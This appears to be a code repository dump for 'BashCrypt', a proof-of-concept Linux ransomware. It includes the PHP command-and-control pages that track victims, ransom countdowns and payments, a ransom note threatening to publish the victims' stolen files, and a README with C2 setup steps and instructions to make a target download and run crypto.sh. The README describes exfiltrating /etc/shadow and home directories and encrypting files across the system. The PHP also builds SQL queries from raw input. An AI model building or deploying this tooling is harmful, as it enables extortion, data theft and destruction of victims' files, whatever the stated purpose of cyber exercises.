4sNTa1UrzsRoCgu6sO0/dM7sJ/urkQFghZZTB7UznDh9FQsLCSE+fSTeBeApBy+B 11 | hy4os+HMcdrOZchm/dbmnTIi2VV37xtrOT/N7rJxphGf6gp/97lgYvhG66iV6biC 12 | /X7RTWVtYYX16kdFFoDT6/Ri4oxnLo0SVZ1vyt07p+jbY1B6bgtvKHFVefKUSLu1 13 | 719zZkO3OgpKI9brv63BcevrJmDl1XMt/KXt6w6TpWvK1VzqN2/6rFavkipZPA6i 14 | UoKrB5xMdiovl6SpNIX8Mv/AsigNHcwNL2QsyZr/XlTEFmB7Ml6d7MBhuCDc/rCR 15 | 9BlJ0NxtUiIcE1EId97Z8FuMYJSI7i+nZLEiTAbumm5r2HsQXMz8TV02vQJqoSXS 16 | nz39DWWCz1jWgGChe8/4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ebdsk6dk4c3Eh7+a4zynNTLGRjBna 48 | 3QEB9JeeHhfkL6/VYKuVEExYGejdrvrdMA6a1nVkT+qXaVfZQ+0QF1j4yitlLkJR 49 | vWaJZGAwfLs1kf+mLfF5UVgwOKj6izXL/l6JgRs7H82fTkITqTNcyCkGPheCnAJH 50 | Af6/b5YfmpKTTmsXGqz2Rh3VqQSon4NIDhjKUwX6leOMPopLhPRCPNW00TrS+oly 51 | EkrLPYiImpOpFBu9PAhjXNKMwZMHZbWXfMTLBtxilWk2znyKsiHuG055dKK5sy15 52 | a84TT4D5NMFRRDfS/73WTRfk2klg0fWT/D//C6tZdt5+mL+4r4d/oFvuauTI0xZs 53 | KXbVWy67mlnpib1Vj2Tdfauq88oMjI4ldRdT63CTwXYPNHH8E/HaR3X0spAKBwSk 54 | -----END RSA PRIVATE KEY----- 55 | -------------------------------------------------------------------------------- /admin.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Admin Portal 5 | 6 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 17 | 20 | 23 | 26 | 29 | 32 | 35 | 38 | 41 | 42 | connect_error) { 54 | die("Connection failed: " . $conn->connect_error); 55 | } 56 | 57 | $timestamp = time(); 58 | $dateTimestamp = new DateTime("@$timestamp"); 59 | 60 | $timestamp = $dateTimestamp->format('Y-m-d H:i:s'); 61 | 62 | $sql = "SELECT *, timediff(exp_time, \"$timestamp\") as time_left FROM target_list"; 63 | $result = $conn->query($sql); 64 | 65 | if ($result->num_rows > 0) { 66 | while ($row = $result->fetch_assoc()) { 67 | $evenOdd = $row['id'] % 2; 68 | if ($evenOdd == 0) { 69 | $color = "white"; 70 | } else { 71 | $color = "gray"; 72 | } 73 | 74 | echo ""; 75 | echo ""; 78 | echo ""; 81 | echo ""; 84 | echo ""; 87 | echo ""; 90 | echo ""; 93 | echo ""; 100 | echo "" . "\n"; 109 | echo ""; 111 | echo ""; 118 | echo ""; 119 | } 120 | } 121 | ?> 122 |
15 | ID 16 | 18 | Unique ID 19 | 21 | Target IP 22 | 24 | File Count 25 | 27 | Infection Time 28 | 30 | Expiration Time 31 | 33 | Time Expired 34 | 36 | Timer 37 | 39 | Paid 40 |
"; 76 | echo "$row[id]"; 77 | echo ""; 79 | echo "$row[unique_id]"; 80 | echo ""; 82 | echo "$row[target_ip]"; 83 | echo ""; 85 | echo "$row[file_count]"; 86 | echo ""; 88 | echo "$row[curr_time]"; 89 | echo ""; 91 | echo "$row[exp_time]"; 92 | echo ""; 94 | if ($row['time_expired'] == 1) { 95 | echo "Expired"; 96 | } else { 97 | echo "Not Expired"; 98 | } 99 | echo ""; 110 | echo ""; 112 | if ($row['paid'] == 0) { 113 | echo "No"; 114 | } else { 115 | echo "Yes"; 116 | } 117 | echo "
123 |
124 | 125 | 126 | -------------------------------------------------------------------------------- /decrypt.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Decryption Check 5 | 6 | 7 | connect_error) { 18 | die("Connection failed: " . $conn->connect_error); 19 | } 20 | 21 | $timestamp = time(); 22 | $dateTimestamp = new DateTime("@$timestamp"); 23 | 24 | $timestamp = $dateTimestamp->format('Y-m-d H:i:s'); 25 | 26 | $targetID = $_POST['target_id']; 27 | 28 | if (isset($_POST['target_id']) && !empty($_POST['target_id'])) { 29 | $sql = "SELECT timediff(exp_time, \"$timestamp\") as time_left from target_list where unique_id = \"$targetID\""; 30 | $result = $conn->query($sql); 31 | 32 | if ($result->num_rows > 0) { 33 | while($row = $result->fetch_assoc()) { 34 | if ($row['time_left'] < "00:00:01") { 35 | echo "" . "\n"; 41 | 42 | $sql1 = "UPDATE target_list SET time_expired=\"1\" where unique_id = \"$targetID\""; 43 | $result1 = $conn->query($sql1); 44 | 45 | if ($result1->num_rows >= 0) { 46 | echo "
"; 47 | echo ""; 48 | echo "

Time expired, your associated private key has been deleted and your files forever lost!

"; 49 | echo "


"; 50 | echo "

Alas, we have a back up key that can be used to decrypt your files; however, the payment has now increased. Please see the payment page for instructions.

"; 51 | echo "
"; 52 | echo ""; 53 | echo "
"; 54 | } 55 | } else { 56 | setcookie("unique_id", $targetID, strtotime('+1 hour')); 57 | 58 | $page = $_SERVER['PHP_SELF']; 59 | $sec = "1"; 60 | header("Refresh: $sec; url=$page"); 61 | } 62 | } 63 | } else { 64 | echo "
Could not determine the time left!
"; 65 | } 66 | } else { 67 | $unique_id = $_COOKIE['unique_id']; 68 | 69 | if (isset($_COOKIE['unique_id']) && !empty($_COOKIE['unique_id'])) { 70 | 71 | echo "" . "\n"; 82 | } 83 | } 84 | 85 | $conn->close(); 86 | 87 | ?> 88 | 89 | 90 | 91 | 92 |

93 |
94 | * What happened to your files? 95 |

96 | All of your files were protected by a strong encryption with RSA-4096 using BashCrypt v1.0. 97 |
98 | More information about the encryption keys using RSA-4096 can be found here: RSA Cryptosystem. 99 |

100 | * What does this mean? 101 |

102 | This means that the structure and data within your files have been irrevocably changed. 103 |
104 | You will not be able to work with these files, read them or see them. 105 |
106 | This is the same thing as losing them forever; however, with our help, you can restore them. 107 |

108 | * How did this happen? 109 |

110 | Especially for you, we generated the secret key pair RSA-4096 - public and private keys. 111 |
112 | All your files were encrypted with the public key, which has been transferred to your computer via the Internet. 113 |
114 | Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server. 115 |

116 | * What do I do? 117 |

118 | Alas, if you do not take the necessary measures in the next 48 hrs after encryption, your private key will be deleted and your files lost forever! 119 |
120 | If you really value your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist. 121 |
122 | Enter your unique identifier below to view your remaining time and to reach the payment page. 123 |

124 |
125 |
126 |
127 |
128 | Unique ID: 129 |
130 | 131 |
132 |
133 |
134 | 135 | 136 | -------------------------------------------------------------------------------- /images/BITCOIN_IMAGE_LICENSE: -------------------------------------------------------------------------------- 1 | CC0 1.0 Universal (CC0 1.0) 2 | Public Domain Dedication 3 | 4 | CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER. 5 | Statement of Purpose 6 | 7 | The laws of most jurisdictions throughout the world automatically confer exclusive Copyright and Related Rights (defined below) upon the creator and subsequent owner(s) (each and all, an "owner") of an original work of authorship and/or a database (each, a "Work"). 8 | 9 | Certain owners wish to permanently relinquish those rights to a Work for the purpose of contributing to a commons of creative, cultural and scientific works ("Commons") that the public can reliably and without fear of later claims of infringement build upon, modify, incorporate in other works, reuse and redistribute as freely as possible in any form whatsoever and for any purposes, including without limitation commercial purposes. These owners may contribute to the Commons to promote the ideal of a free culture and the further production of creative, cultural and scientific works, or to gain reputation or greater distribution for their Work in part through the use and efforts of others. 10 | 11 | For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work (the "Affirmer"), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights. 12 | 13 | 1. Copyright and Related Rights. A Work made available under CC0 may be protected by copyright and related or neighboring rights ("Copyright and Related Rights"). Copyright and Related Rights include, but are not limited to, the following: 14 | 15 | the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work; 16 | moral rights retained by the original author(s) and/or performer(s); 17 | publicity and privacy rights pertaining to a person's image or likeness depicted in a Work; 18 | rights protecting against unfair competition in regards to a Work, subject to the limitations in paragraph 4(a), below; 19 | rights protecting the extraction, dissemination, use and reuse of data in a Work; 20 | database rights (such as those arising under Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, and under any national implementation thereof, including any amended or successor version of such directive); and 21 | other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof. 22 | 2. Waiver. To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose. 23 | 24 | 3. Public License Fallback. Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "License"). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not (i) exercise any of his or her remaining Copyright and Related Rights in the Work or (ii) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose. 25 | 26 | 4. Limitations and Disclaimers. 27 | 28 | No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document. 29 | Affirmer offers the Work as-is and makes no representations or warranties of any kind concerning the Work, express, implied, statutory or otherwise, including without limitation warranties of title, merchantability, fitness for a particular purpose, non infringement, or the absence of latent or other defects, accuracy, or the present or absence of errors, whether or not discoverable, all to the greatest extent permissible under applicable law. 30 | Affirmer disclaims responsibility for clearing rights of other persons that may apply to the Work or any use thereof, including without limitation any person's Copyright and Related Rights in the Work. Further, Affirmer disclaims responsibility for obtaining any necessary consents, permissions or other rights required for any use of the Work. 31 | Affirmer understands and acknowledges that Creative Commons is not a party to this document and has no duty or obligation with respect to this CC0 or use of the Work. 32 | -------------------------------------------------------------------------------- /sample_apache_conf/default-ssl.conf: -------------------------------------------------------------------------------- 1 | 2 | 3 | ServerAdmin webmaster@localhost 4 | 5 | DocumentRoot /var/www/html 6 | 7 | # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, 8 | # error, crit, alert, emerg. 9 | # It is also possible to configure the loglevel for particular 10 | # modules, e.g. 11 | #LogLevel info ssl:warn 12 | 13 | ErrorLog ${APACHE_LOG_DIR}/error.log 14 | CustomLog ${APACHE_LOG_DIR}/access.log combined 15 | 16 | # For most configuration files from conf-available/, which are 17 | # enabled or disabled at a global level, it is possible to 18 | # include a line for only one particular virtual host. For example the 19 | # following line enables the CGI configuration for this host only 20 | # after it has been globally disabled with "a2disconf". 21 | #Include conf-available/serve-cgi-bin.conf 22 | 23 | # SSL Engine Switch: 24 | # Enable/Disable SSL for this virtual host. 25 | SSLEngine on 26 | 27 | # A self-signed (snakeoil) certificate can be created by installing 28 | # the ssl-cert package. See 29 | # /usr/share/doc/apache2/README.Debian.gz for more info. 30 | # If both key and certificate are stored in the same file, only the 31 | # SSLCertificateFile directive is needed. 32 | SSLCertificateFile /etc/ssl/certs/server.crt 33 | SSLCertificateKeyFile /etc/ssl/private/server.key 34 | 35 | # Server Certificate Chain: 36 | # Point SSLCertificateChainFile at a file containing the 37 | # concatenation of PEM encoded CA certificates which form the 38 | # certificate chain for the server certificate. Alternatively 39 | # the referenced file can be the same as SSLCertificateFile 40 | # when the CA certificates are directly appended to the server 41 | # certificate for convinience. 42 | #SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt 43 | 44 | # Certificate Authority (CA): 45 | # Set the CA certificate verification path where to find CA 46 | # certificates for client authentication or alternatively one 47 | # huge file containing all of them (file must be PEM encoded) 48 | # Note: Inside SSLCACertificatePath you need hash symlinks 49 | # to point to the certificate files. Use the provided 50 | # Makefile to update the hash symlinks after changes. 51 | #SSLCACertificatePath /etc/ssl/certs/ 52 | #SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt 53 | 54 | # Certificate Revocation Lists (CRL): 55 | # Set the CA revocation path where to find CA CRLs for client 56 | # authentication or alternatively one huge file containing all 57 | # of them (file must be PEM encoded) 58 | # Note: Inside SSLCARevocationPath you need hash symlinks 59 | # to point to the certificate files. Use the provided 60 | # Makefile to update the hash symlinks after changes. 61 | #SSLCARevocationPath /etc/apache2/ssl.crl/ 62 | #SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl 63 | 64 | # Client Authentication (Type): 65 | # Client certificate verification type and depth. Types are 66 | # none, optional, require and optional_no_ca. Depth is a 67 | # number which specifies how deeply to verify the certificate 68 | # issuer chain before deciding the certificate is not valid. 69 | #SSLVerifyClient require 70 | #SSLVerifyDepth 10 71 | 72 | # SSL Engine Options: 73 | # Set various options for the SSL engine. 74 | # o FakeBasicAuth: 75 | # Translate the client X.509 into a Basic Authorisation. This means that 76 | # the standard Auth/DBMAuth methods can be used for access control. The 77 | # user name is the `one line' version of the client's X.509 certificate. 78 | # Note that no password is obtained from the user. Every entry in the user 79 | # file needs this password: `xxj31ZMTZzkVA'. 80 | # o ExportCertData: 81 | # This exports two additional environment variables: SSL_CLIENT_CERT and 82 | # SSL_SERVER_CERT. These contain the PEM-encoded certificates of the 83 | # server (always existing) and the client (only existing when client 84 | # authentication is used). This can be used to import the certificates 85 | # into CGI scripts. 86 | # o StdEnvVars: 87 | # This exports the standard SSL/TLS related `SSL_*' environment variables. 88 | # Per default this exportation is switched off for performance reasons, 89 | # because the extraction step is an expensive operation and is usually 90 | # useless for serving static content. So one usually enables the 91 | # exportation for CGI and SSI requests only. 92 | # o OptRenegotiate: 93 | # This enables optimized SSL connection renegotiation handling when SSL 94 | # directives are used in per-directory context. 95 | #SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire 96 | 97 | SSLOptions +StdEnvVars 98 | 99 | 100 | SSLOptions +StdEnvVars 101 | 102 | 103 | # SSL Protocol Adjustments: 104 | # The safe and default but still SSL/TLS standard compliant shutdown 105 | # approach is that mod_ssl sends the close notify alert but doesn't wait for 106 | # the close notify alert from client. When you need a different shutdown 107 | # approach you can use one of the following variables: 108 | # o ssl-unclean-shutdown: 109 | # This forces an unclean shutdown when the connection is closed, i.e. no 110 | # SSL close notify alert is send or allowed to received. This violates 111 | # the SSL/TLS standard but is needed for some brain-dead browsers. Use 112 | # this when you receive I/O errors because of the standard approach where 113 | # mod_ssl sends the close notify alert. 114 | # o ssl-accurate-shutdown: 115 | # This forces an accurate shutdown when the connection is closed, i.e. a 116 | # SSL close notify alert is send and mod_ssl waits for the close notify 117 | # alert of the client. This is 100% SSL/TLS standard compliant, but in 118 | # practice often causes hanging connections with brain-dead browsers. Use 119 | # this only for browsers where you know that their SSL implementation 120 | # works correctly. 121 | # Notice: Most problems of broken clients are also related to the HTTP 122 | # keep-alive facility, so you usually additionally want to disable 123 | # keep-alive for those clients, too. Use variable "nokeepalive" for this. 124 | # Similarly, one has to force some clients to use HTTP/1.0 to workaround 125 | # their broken HTTP/1.1 implementation. Use variables "downgrade-1.0" and 126 | # "force-response-1.0" for this. 127 | BrowserMatch "MSIE [2-6]" \ 128 | nokeepalive ssl-unclean-shutdown \ 129 | downgrade-1.0 force-response-1.0 130 | # MSIE 7 and newer should be able to use keepalive 131 | BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown 132 | 133 | 134 | 135 | 136 | # vim: syntax=apache ts=4 sw=4 sts=4 sr noet 137 | -------------------------------------------------------------------------------- /INSTRUCTIONS.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Decrypt Your Files 5 | 6 | 7 | 8 |
9 | 10 | 11 | 20 | 21 | 22 | 25 | 26 | 27 | 34 | 35 | 36 | 39 | 40 | 41 | 46 | 47 | 48 | 51 | 52 | 53 | 66 | 67 | 68 | 71 | 72 | 73 | 101 | 102 | 103 | 106 | 107 | 108 | 113 | 114 | 115 | 118 | 119 | 120 | 158 | 159 | 160 | 164 | 165 | 166 | 173 | 174 |
12 | 13 | Can't find the files that you need? 14 |
15 | Is the content of your files that you need, unreadable? 16 |
17 | This is normal because the data within your files has been encrypted. 18 |
19 |
23 |
24 |
28 | 29 | Congratulations!! 30 |
31 | You have beome a part of an exclusive community, BashCrypt 32 |
33 |
37 |
38 |
42 | 43 | If you are reading this text, that means that the software, BashCrypt, has been installed on your system. 44 | 45 |
49 |
50 |
54 | 55 | What is encryption? 56 | 57 |
58 | 59 | Encryption is a reversible transformation of information in order to conceal it from unauthorized persons, but providing at the same time access to it for authorized users. To 60 |
61 | become an authorized user and make the process truly reversible, e.g. - to be able to decrypt your files, you need to have a special private key. 62 |
63 | Additionally, you require the corresponding decryption software with which your files wil return to its original form. 64 |
65 |
69 |
70 |
74 | 75 | I almost understand, but what do I have to do? 76 | 77 |
78 | 79 | The first thing you should do is to read the instructions to end. 80 |
81 | Your files have been encryptes with the BashCrypt software. The instructions that you find within your folders, along with your encrypted files, are not infected with malware, but rather they are to assist you. 82 |
83 | After reading this text, 100% of people turn to their favorite search engine with the word BashCrypt where you'll find a lot of thoughts, ideas, and instructions. 84 |
85 | Think logically - we are the ones who have locked your files and the only ones who can decrypt your files. 86 |
87 | Any attempts to restore your files with third-party software or tools can be fatal for your encrypted files. 88 |
89 | The fact of the matter is that changing the data within the encrypted files, as 100% of file restoration software and tools do, will irrevocably break your files and make them irrecoverable. Only our special software can restore your files. 90 |
91 | 92 | Do not reboot your system as your core operating systems have been encrypted. Rebooting will make restoration of your system and files impossible. 93 | 94 |
95 | 96 | Please be weary that atempting to load recovery media via USB or CD-ROM has been disabled. Atempting to do so will result in the corruption of your data. 97 | 98 |
99 |
100 |
104 |
105 |
109 | 110 | Please Note: Failure to remit payment will result in the publishing of your personal files which have been copied to our system. We will decrypt your files and publish them for the world. Please consider this when deciding whether you would like your files back. 111 | 112 |
116 |
117 |
121 | 122 | If you do not heed our advice, we will not be able to help you - plain and simple. 123 |
124 | For your information: the decryption software and the private kes are a paid product. 125 |
126 |
127 |
128 | 129 | 130 | After purchasing the software package, you can: 131 | 132 |
133 | 1. Decrypt all of your files 134 |
135 | 2. Work with your documents 136 |
137 | 3. View your photos, music, and other media 138 |
139 | 4. Continue with your habitual and comfortable work with your system 140 |
141 |
142 |
143 | 144 | If you are aware of the importance and criticality of your situation, then we suggest you go directly to the decryption page. On this page, you will enter your unique code with instructions on how to restore your files. 145 | 146 |
147 |
148 |
149 | 150 |
151 |
152 |
153 | https://192.168.1.132/decrypt.php 154 |
155 |
156 |
157 |
161 |
162 |
163 |
167 | 168 | Go to the addres above, enter your unique identification code, and then follow the payment link for how to pay. 169 |
170 | If the website does not open, please check your Internet connection. 171 |
172 |
175 |
176 | 177 | 178 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Bash Ransomware 2 | 3 | ## Synopsis 4 | Simple Bash POC cryptoware that is modeled after CryptoWall 3.0/4.0 5 | 6 | ## Requirements 7 | - openssl 8 | - jquery 9 | - mysql 10 | - php 5 (php5-mysql) 11 | - apache2 12 | 13 | ## Features 14 | - Secure Comunications over HTTPS to the C2 15 | - Data Exfil from the target (key.bin, /home/, /root, /etc/passwd, and /etc/shadow) - Based on Chimera Ransomware that threatens to release private documents if ransom is not paid 16 | - Filename and File extension encryption has been added (Reference: Talos CW 4.0 Report), keeps a mapping in /root/..file_mapping.db with file permissions 17 | - File Encryption based on a set of defined file extensions, should encrypt files in '/' and encrypt mount points (USB, NFS, etc.) 18 | - Screenshot functionality (Still in development for wider OS support + Support for terminal only systems) 19 | - Unique Private/Public Key Pair per victim 20 | 21 | ## Feature Requests 22 | - Move DB settings into a common.php file and refer to that file in each of the scripts (One place to edit instead of numerous places) 23 | 24 | ## Bugs 25 | - After payment has been submitted, the page will count down past 00:00:00 into negative time (-00:00:34) - The user has to manually refresh the page in order to gain access to the download links 26 | - Since the program encrypts critical files, some files may not be properly restored which partially breaks the host (Working on better restoration processes) 27 | 28 | ## Notes 29 | - Added Encryption and Decryption Run Times (Run times were calculated with the new filename encryption - run times are obviously longer than without) 30 | - sample_files directory contains the HTTP C2 communications, a sample key.bin file, and file_mapping.db file 31 | - Python and C versions of the BashCrypt are currently in development and should be released in the near future 32 | - Windows executable and powershell versions are also in development 33 | - You may notice that the configuration is insecure (e.g. - no db password, processes running as root, etc.). This is just for testing purposes in my dev environment. If you use this in an exercise, you will want to follow best practices to secure the C2 server 34 | - The codebase uses newer versions of software, like PHP. You may run into environments with older versions of PHP that do not support some of the built-in PHP functions. In this case, you will have to modify the code. Specifically, I ran into a PHP version that was < 5.2 and the DateTime function is not in that release. 35 | - To solve this, repleace the occurences of DateTime to the following: 36 | - # target.php 37 | - `$expTime = time() + (2 * 24 * 60 * 60);` 38 | - `$dateExpTime = strtotime($expTime);` 39 | - `$expTime = date('Y-m-d H:i:s', $dateExpTime);` 40 | - # Or in one line: 41 | - `$expTime = date('Y-m-d H:i:s', strtotime(time() + (2 * 24 * 60 * 60)));` 42 | 43 | ## What to do on the server-side 44 | - > Configure your comms over HTTPS 45 | - > Sample certs are in the sample_apache_conf directory 46 | - $ `openssl genrsa -des3 -passout pass:neveruseinsecurepasswords -out server.pass.key 4096` 47 | - $ `openssl rsa -passin pass:neveruseinsecurepasswords -in server.pass.key -out server.key` 48 | - $ `openssl req -new -key server.key -out server.csr` 49 | - $ `openssl x509 -req -days 4096 -in server.csr -signkey server.key -out server.crt` 50 | - $ `chmod 600 server.*` 51 | - $ `mkdir -p /etc/ssl/certs/` 52 | - $ `mv server.key /etc/ssl/certs/` 53 | - $ `mv server.crt /etc/ssl/certs/` 54 | - > Use the sample apache SSL and Default configurations in sample_apache_conf as a guide 55 | - > Then configure your apache to redirect HTTP traffic to HTTPS 56 | - > Enable SSL 57 | - $ `a2enmod ssl` 58 | - $ `servive apache2 restart` 59 | 60 | - > Modify crypto.sh and replace the IP with your web server's IP/URL 61 | - $ `sed -i 's/192\.168\.1\.132/YYY\.YYY\.YYY\.YYY/g' crypto.sh` # Where YYY.YYY.YYY.YYY is your IP 62 | - > OR 63 | - $ `sed -i 's/192\.168\.1\.132/www\.yourdomain\.com/g' crypto.sh` 64 | - $ `cp crypto.sh /var/www/html/downloads/` 65 | - > Copy all of the ransomware files to /var/www/html 66 | - > You should have all of the php files in the root of your web dir (/var/www/html/) 67 | - > You should also have /var/www/html/images/ and /var/www/html/scripts/ 68 | - $ `cd /var/www/html/` 69 | - > Modify admin.php, admin_query.php, decrypt.php, query.php, count.php, and target.php with your database information 70 | - $ `chown -R www-data:root /var/www/html/` 71 | - > Next, create the database for storing the data 72 | - $ `mysql -u [user] -p` 73 | - $ `create database victims;` 74 | - $ `use victims;` 75 | - $ `create table target_list (id int(6) unsigned auto_increment primary key, unique_id varchar(16) not null, target_ip varchar(30), file_count int not null, curr_time timestamp not null, exp_time timestamp not null, time_expired bool not null, paid bool not null, paid_count timestamp not null);` 76 | - $ `exit` 77 | 78 | ## Bitcoin Exchange 79 | - This feature was added to add a dimension of realism to this project. This feature allows the user to visit our exchange in order to obtain a working bitcoin transaction id that will be accepted by the payment page 80 | - Previously, the payment page accepted any 64 character string (length of a Bitcoin transaction id) 81 | - Users have to find a way to obtain the required amount of bitcoin for their payment (either 2 or 5 BTC) 82 | - These files can either be added to the same host or to another host 83 | - Directions: 84 | - Mysql: 85 | - `mysql -u [user] -p` 86 | - `create database exchange` 87 | - `create table users (id int(6) unsigned auto_increment primary key, username varchar(16) not null, password varchar(32) not null);` 88 | - `exit` 89 | - Web pages: 90 | - `cp -R exchange/ /var/www/html` 91 | - Note: You must use this in order to get a transaction id that will be accepted by the payment page 92 | 93 | ## What to do on the client-side 94 | - Get target to download the file and execute or if you have have access to the system, download it directly 95 | - $ `chmod 755 crypto.sh` 96 | - $ `./crypto.sh &` 97 | 98 | ## What it does 99 | - Downloads the public key from our server 100 | - Generates a key file on the target 101 | - Loops through the system for files with the defined extensions and Uses AES-256 to encrypt the files on the system using the generated key 102 | - Deletes the original file, leaving only the encrypted file 103 | - The key file is then encrypted using the public key (RSA-4096) 104 | - Prints a ransom message and then persists that message through cron 105 | - In each dir, an INSTRUCTIONS.txt file is created and contains the ransome message 106 | - Links to a web page where the user can see an active countdown of the time that is left before key deletion 107 | 108 | ## Acknowledgements/Contributors 109 | - Special thanks to zmallen and his lollocker (https://github.com/zmallen/lollocker) => lollocker served as the inspiration for this project 110 | 111 | ## Sources 112 | - Excellent CryptoWall 3.0 Writeup: http://blog.brillantit.com/?p=15 113 | - CryptoWall 3.0 Writeup: http://www.sentinelone.com/blog/anatomy-of-cryptowall-3-0-a-look-inside-ransomwares-tactics/ 114 | - Chimera Ransomware: https://threatpost.com/chimera-ransomware-promises-to-publish-encrypted-data-online/115293/ 115 | - CryptoWall message text used came from https://www.pcrisk.com/removal-guides/7844-cryptowall-virus 116 | - CryptoWall 4.0: http://securityaffairs.co/wordpress/41718/cyber-crime/cryptowall-4-0-released.html 117 | - CryptoWall 4.0 DECRYPT.html: http://www.bleepstatic.com/images/news/ransomware/cryptowall/v4/note-part-1.jpg 118 | - Talos CryptoWall 4.0 Report: http://blog.talosintel.com/2015/12/cryptowall-4.html 119 | 120 | ## WARNING 121 | - Use this tool at your own risk. Author is not responsible or liable if you damage your own system or others. Follow all local, state, federal, and international laws as it pertains to your geographic location. Do NOT use this tool maliciously as it is being released for educational purposes. This tools intended use is in cyber exercises or demonstrations of adversarial tools. 122 | 123 | ## Screenshots 124 | 125 | - Infected:
126 | ![Infected](/screenshots/infected.jpg?raw=true "Infected")
127 | - Encrypted Filenames:
128 | ![Filenames1](/screenshots/filename_encrypt.jpg?raw=true "Filenames1")
129 | - Decrypted Filenames:
130 | ![Filenames2](/screenshots/filename_decrypt.jpg?raw=true "Filenames2")
131 | - Encryption Run Time:
132 | ![Erun](/screenshots/EncryptTime.jpg?raw=true "Erun")
133 | - Decryption Run Time:
134 | ![Drun](/screenshots/DecryptTime.jpg?raw=true "Drun")
135 | - Instructions:
136 | ![Instructions 1](/screenshots/INSTRUCTIONS_1.jpg?raw=true "Instructions 1")
137 | ![Instructions 2](/screenshots/INSTRUCTIONS_2.jpg?raw=true "Instructions 2")
138 | - Decryption Page:
139 | ![Decrypt](/screenshots/decrypt_page.jpg?raw=true "Decrypt")
140 | - Countdown:
141 | ![Countdown](/screenshots/time_countdown.jpg?raw=true "Countdown")
142 | - Admin:
143 | ![Admin](/screenshots/admin_portal.jpg?raw=true "Admin")
144 | - Payment (Time Remaining):
145 | ![Payment1](/screenshots/payment1.jpg?raw=true "Payment1")
146 | - Payment (Time Expired):
147 | ![Payment2](/screenshots/payment2.jpg?raw=true "Payment2")
148 | - After Payment (2 Hour Wait):
149 | ![AfterPayment1](/screenshots/Decryption_After_Payment_1.jpg?raw=true "AfterPayment1")
150 | - After Payment (Downloads Available):
151 | ![AfterPayment2](/screenshots/Decryption_After_Payment_2.jpg?raw=true "AfterPayment2")
152 | 153 | - Exchange List:
154 | ![ExchangeList](/screenshots/Exchanges.jpg?raw=true "ExchangeList")
155 | - Exchange Login:
156 | ![ExchangeLogin](/screenshots/ExchangeLogin.jpg?raw=true "ExchangeLogin")
157 | - Exchange Logged In:
158 | ![ExchangeLoggedIn](/screenshots/LoggedIn.jpg?raw=true "ExchangeLoggedIn")
159 | - Exchange Transaction ID:
160 | ![TransactionID](/screenshots/TransID.jpg?raw=true "TransactionID")
